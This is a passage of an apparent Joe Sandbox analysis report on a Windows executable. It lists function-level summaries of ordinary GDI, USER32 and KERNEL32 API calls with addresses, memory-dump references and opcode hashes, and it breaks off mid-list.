          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MetricsSystem$Rect$Window$Parent
          • String ID:
          • API String ID: 3457858938-0
          • Opcode ID: 440699e474224d3f6b8ada8a7eb38b13d2d49729e596b829cfcd771be437ce0c
          • Instruction ID: 499ee02627b43bb6960c100b522d9fc6327daadc1cbac7193754b307c136e4ff
          • Opcode Fuzzy Hash: 440699e474224d3f6b8ada8a7eb38b13d2d49729e596b829cfcd771be437ce0c
          • Instruction Fuzzy Hash: 3C217671A043096FD708DF68EC4596F7BA9EBC9704F00492FB506D7280DB74ED098BA6
          APIs
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$ClientCreateEmptyFill
          • String ID: 8\J$\[J$\[J
          • API String ID: 97219908-2034852085
          • Opcode ID: db68b4cee3819b7bbeb9b286e4323cc72ba96b729a4499a419a5c37fd6189920
          • Instruction ID: 4d6260b24ca06ff0c65524f2e3f8e085c8dbf52bbdbf078cb49f535965b4095d
          • Opcode Fuzzy Hash: db68b4cee3819b7bbeb9b286e4323cc72ba96b729a4499a419a5c37fd6189920
          • Instruction Fuzzy Hash: 9D516EB1204342AFC714DF65C984E6BB7E8FF88704F00892EB556C3281DB38E845CBA6
          APIs
          • GetStockObject.GDI32(00000011), ref: 00497C45
          • GetStockObject.GDI32(0000000D), ref: 00497C4D
          • GetObjectA.GDI32(00000000,0000003C,?), ref: 00497C5A
          • GetDC.USER32(00000000), ref: 00497C69
          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00497C80
          • MulDiv.KERNEL32(?,00000048,00000000), ref: 00497C8C
          • ReleaseDC.USER32(00000000,00000000), ref: 00497C97
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Object$Stock$CapsDeviceRelease
          • String ID: System
          • API String ID: 46613423-3470857405
          • Opcode ID: bbc72abc037dadfed08e729fb9fbf892606428f09dfc405bb970a81e90715846
          • Instruction ID: ddc81f135bfa35d646089bcda2cc83c4e7c0d7e3ec39ed009bb61bb3d471d85d
          • Opcode Fuzzy Hash: bbc72abc037dadfed08e729fb9fbf892606428f09dfc405bb970a81e90715846
          • Instruction Fuzzy Hash: 8F118E31A04318ABEF109FA5DC45FAE3FB8AB49745F004036FA05E62D0D7749D41CBA8
          APIs
          • LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,00485E7C,?,Microsoft Visual C++ Runtime Library,00012010,?,004ADA7C,?,004ADACC,?,?,?,Runtime Error!Program: ), ref: 0048D571
          • GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0048D589
          • GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0048D59A
          • GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 0048D5A7
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: AddressProc$LibraryLoad
          • String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
          • API String ID: 2238633743-4044615076
          • Opcode ID: 81f02a39812c453d0349afd36b5ed05ea5aa71dcbd135e8907a88e2e45d3f3f2
          • Instruction ID: ddbd714f73d1e35132797a2ed16d7a6ee63a47bee9a410a319202689856c1cc3
          • Opcode Fuzzy Hash: 81f02a39812c453d0349afd36b5ed05ea5aa71dcbd135e8907a88e2e45d3f3f2
          • Instruction Fuzzy Hash: D7017171F01211ABAB10BFB59C8092F7BE9EA6D785714083BA104C22A1D778C811DB6C
          APIs
          • GetModuleHandleA.KERNEL32(COMCTL32.DLL,00000800,00000000,00000400,00495E31,?,00020000), ref: 00495B40
          • LoadLibraryA.KERNEL32(COMCTL32.DLL), ref: 00495B49
          • GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00495B5D
          • #17.COMCTL32 ref: 00495B78
          • #17.COMCTL32 ref: 00495B94
          • FreeLibrary.KERNEL32(00000000), ref: 00495BA0
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Library$AddressFreeHandleLoadModuleProc
          • String ID: COMCTL32.DLL$InitCommonControlsEx
          • API String ID: 1437655972-4218389149
          • Opcode ID: 1a257d09ab50ce034ce640b1ddc4cedfca9e57d4fb9471283970ccc31b9a4fa2
          • Instruction ID: d986e601bfcc2e1853b29191b86592d7b985c688d73425a9c263db52ba381cec
          • Opcode Fuzzy Hash: 1a257d09ab50ce034ce640b1ddc4cedfca9e57d4fb9471283970ccc31b9a4fa2
          • Instruction Fuzzy Hash: 66F0C837704A128B9B236FA4DC48A1B7EE8AF957A1F250436F911E3220DB2CEC01477D
          APIs
          • CompareStringW.KERNEL32(00000000,00000000,004ADD0C,00000001,004ADD0C,00000001,00000000,022C11AC,0000000C,00000000,0000000C,00000000,000001D0,00000000,00000000,00480EF3), ref: 0048DDDD
          • CompareStringA.KERNEL32(00000000,00000000,004ADD08,00000001,004ADD08,00000001), ref: 0048DDFA
          • CompareStringA.KERNEL32(0045B1E6,00000000,00000000,00000000,00480EF3,00000000,00000000,022C11AC,0000000C,00000000,0000000C,00000000,000001D0,00000000,00000000,00480EF3), ref: 0048DE58
          • GetCPInfo.KERNEL32(00000000,00000000,00000000,022C11AC,0000000C,00000000,0000000C,00000000,000001D0,00000000,00000000,00480EF3,00000000), ref: 0048DEA9
          • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000), ref: 0048DF28
          • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,?,?), ref: 0048DF89
          • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,?,00000000,00000000), ref: 0048DF9C
          • MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 0048DFE8
          • CompareStringW.KERNEL32(0045B1E6,00000000,00000000,00000000,?,00000000,?,00000000), ref: 0048E000
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ByteCharCompareMultiStringWide$Info
          • String ID:
          • API String ID: 1651298574-0
          • Opcode ID: ec87f67c4ddcb512380f9ed63f6a2b63a4aab84c11cf0e9e45b8df90ccb6ac6a
          • Instruction ID: ee0487fecdabce321b6bdbed705b9313a07ccd4528f3133a77c0f2b9acaf6337
          • Opcode Fuzzy Hash: ec87f67c4ddcb512380f9ed63f6a2b63a4aab84c11cf0e9e45b8df90ccb6ac6a
          • Instruction Fuzzy Hash: 8D71CF72D01259ABDF21BF518C859FF7FB6EB1A314F14482BF911A62A0C3398C51DB68
          APIs
          • LCMapStringW.KERNEL32(00000000,00000100,004ADD0C,00000001,00000000,00000000,756EE860,00501204,?,?,?,0048248D,?,?,?,00000000), ref: 004892C6
          • LCMapStringA.KERNEL32(00000000,00000100,004ADD08,00000001,00000000,00000000,?,?,0048248D,?,?,?,00000000,00000001), ref: 004892E2
          • LCMapStringA.KERNEL32(?,?,?,0048248D,?,?,756EE860,00501204,?,?,?,0048248D,?,?,?,00000000), ref: 0048932B
          • MultiByteToWideChar.KERNEL32(?,00501205,?,0048248D,00000000,00000000,756EE860,00501204,?,?,?,0048248D,?,?,?,00000000), ref: 00489363
          • MultiByteToWideChar.KERNEL32(00000000,00000001,?,0048248D,?,00000000,?,?,0048248D,?), ref: 004893BB
          • LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,0048248D,?), ref: 004893D1
          • LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,0048248D,?), ref: 00489404
          • LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,0048248D,?), ref: 0048946C
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: String$ByteCharMultiWide
          • String ID:
          • API String ID: 352835431-0
          • Opcode ID: 016eac30e25ca856837e4068805439bc950f71500cf07d5b6f483942a1d8ebf8
          • Instruction ID: 98a9c0815211d6f809f23aa4f0fdc39f54dc972d144c6502667415103821866e
          • Opcode Fuzzy Hash: 016eac30e25ca856837e4068805439bc950f71500cf07d5b6f483942a1d8ebf8
          • Instruction Fuzzy Hash: 81518C71900619FBCF219F94CC45AEF7FB5FB49B50F14452AF811A1260D33A8C61EB68
          APIs
          • GetCapture.USER32 ref: 004255F6
          • ClientToScreen.USER32(?,?), ref: 00425633
          • OffsetRect.USER32(?,?,?), ref: 0042565C
          • GetParent.USER32(?), ref: 00425662
            • Part of subcall function 00498589: ScreenToClient.USER32(?,76087310), ref: 0049859D
            • Part of subcall function 00498589: ScreenToClient.USER32(?,76087318), ref: 004985A6
          • GetClientRect.USER32(?,?), ref: 00425685
          • OffsetRect.USER32(?,?,00000000), ref: 004256A3
          • OffsetRect.USER32(?,?,00000000), ref: 004256BB
          • OffsetRect.USER32(?,00000000,?), ref: 004256D9
          • OffsetRect.USER32(?,00000000,?), ref: 004256F9
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$Offset$Client$Screen$CaptureParent
          • String ID:
          • API String ID: 838496554-0
          • Opcode ID: 80c8902e322d98a7319da274f0e6ed88aea0da4a05494091ddb9aabc1ad77c61
          • Instruction ID: d984691ef0139834b27457e9eed4cf5b186fc098a7a269127153b4b94e4fddcc
          • Opcode Fuzzy Hash: 80c8902e322d98a7319da274f0e6ed88aea0da4a05494091ddb9aabc1ad77c61
          • Instruction Fuzzy Hash: 4341FBB5204301AFD718DF69D984D6FB7E9EBC8704F008A1DF596C3351DA74ED088A66
          APIs
          • InvalidateRect.USER32(?,?,00000001,?,?,?,?), ref: 00422DAA
          • GetTopWindow.USER32(?), ref: 00422DB0
          • IsWindowVisible.USER32(00000000), ref: 00422DC1
          • GetWindowLongA.USER32(00000000,000000EC), ref: 00422DD2
          • GetClientRect.USER32(00000000,?), ref: 00422E25
          • IntersectRect.USER32(?,?,?), ref: 00422E3A
          • IsRectEmpty.USER32(?), ref: 00422E45
          • InvalidateRect.USER32(00000000,00000000,00000000,?,?,?,?), ref: 00422E56
          • GetWindow.USER32(00000000,00000002), ref: 00422E5B
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$Window$Invalidate$ClientEmptyIntersectLongVisible
          • String ID:
          • API String ID: 938479747-0
          • Opcode ID: 60aafdd1c3c7598f55dec258f9d6ca8839f24b1a2b0046504446db8e1f76df58
          • Instruction ID: 2cdca70d69b1f9d1bb5cb9e9ead3516733982875e76c314dbf896b5dd3f77780
          • Opcode Fuzzy Hash: 60aafdd1c3c7598f55dec258f9d6ca8839f24b1a2b0046504446db8e1f76df58
          • Instruction Fuzzy Hash: B721CC71200312AFC710DF59D884D6BBBECBF89744F404A2EF90093250DB74E9098BA9
          APIs
          • lstrlenA.KERNEL32(?,?,?,0000000C,?,?,00427419,?,-00000001,00000000,?,?,?,004C0CF0), ref: 0049009A
          • GetFocus.USER32 ref: 004900B5
            • Part of subcall function 00493C72: UnhookWindowsHookEx.USER32(?), ref: 00493C97
          • IsWindowEnabled.USER32(?), ref: 004900DE
          • EnableWindow.USER32(?,00000000), ref: 004900F0
          • GetOpenFileNameA.COMDLG32(?,?), ref: 0049011B
          • GetSaveFileNameA.COMDLG32(?,?), ref: 00490122
          • EnableWindow.USER32(?,00000001), ref: 00490139
          • IsWindow.USER32(?), ref: 0049013F
          • SetFocus.USER32(?), ref: 0049014D
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$EnableFileFocusName$EnabledHookOpenSaveUnhookWindowslstrlen
          • String ID:
          • API String ID: 3606897497-0
          • Opcode ID: f8c134580934439a0a2f02093ee114b704da2401d83bc158e7782a62a4479ca6
          • Instruction ID: 35e3cb117a41c0d2a7a56a571f30132ad365639e7a63c51f7c13bb5b85ebc3ca
          • Opcode Fuzzy Hash: f8c134580934439a0a2f02093ee114b704da2401d83bc158e7782a62a4479ca6
          • Instruction Fuzzy Hash: C8214F71600701AFEB20AB72DC4AB5B7FE8AF45345F00483EF59295261DB79D8048759
          APIs
          • IsWindow.USER32(?), ref: 00422A2C
          • SendMessageA.USER32(?,00008003,00000000,00000000), ref: 00422A43
          • GetWindowRect.USER32(?,00000000), ref: 00422A95
          • GetClientRect.USER32(?,00000000), ref: 00422AED
          • GetWindowRect.USER32(?,00000000), ref: 00422B11
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: RectWindow$ClientMessageSend
          • String ID: LdJ$hcJ
          • API String ID: 1071774122-783089612
          • Opcode ID: d716f44254a89e7c29360a4cc562b0a807a897774b0be76dfbe17c3e02d7a6fa
          • Instruction ID: 88166857a1dd38402157b9dae91b9ac59aadac41f0a2e169dce4525fd5d0a7b0
          • Opcode Fuzzy Hash: d716f44254a89e7c29360a4cc562b0a807a897774b0be76dfbe17c3e02d7a6fa
          • Instruction Fuzzy Hash: 7461C171604311AFC720DF25D980A6FBBE8EF88744F044A2EF94597391DA78ED05CB9A
          APIs
          • CreatePopupMenu.USER32 ref: 00427B7E
          • AppendMenuA.USER32(?,?,00000000,?), ref: 00427CE1
          • AppendMenuA.USER32(?,00000000,00000000,?), ref: 00427D19
          • ModifyMenuA.USER32(?,00000000,00000000,00000000,00000000), ref: 00427D37
          • AppendMenuA.USER32(?,?,00000000,?), ref: 00427D95
          • ModifyMenuA.USER32(?,?,?,?,?), ref: 00427DBA
          • AppendMenuA.USER32(?,?,?,?), ref: 00427E02
          • ModifyMenuA.USER32(?,?,?,?,?), ref: 00427E27
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
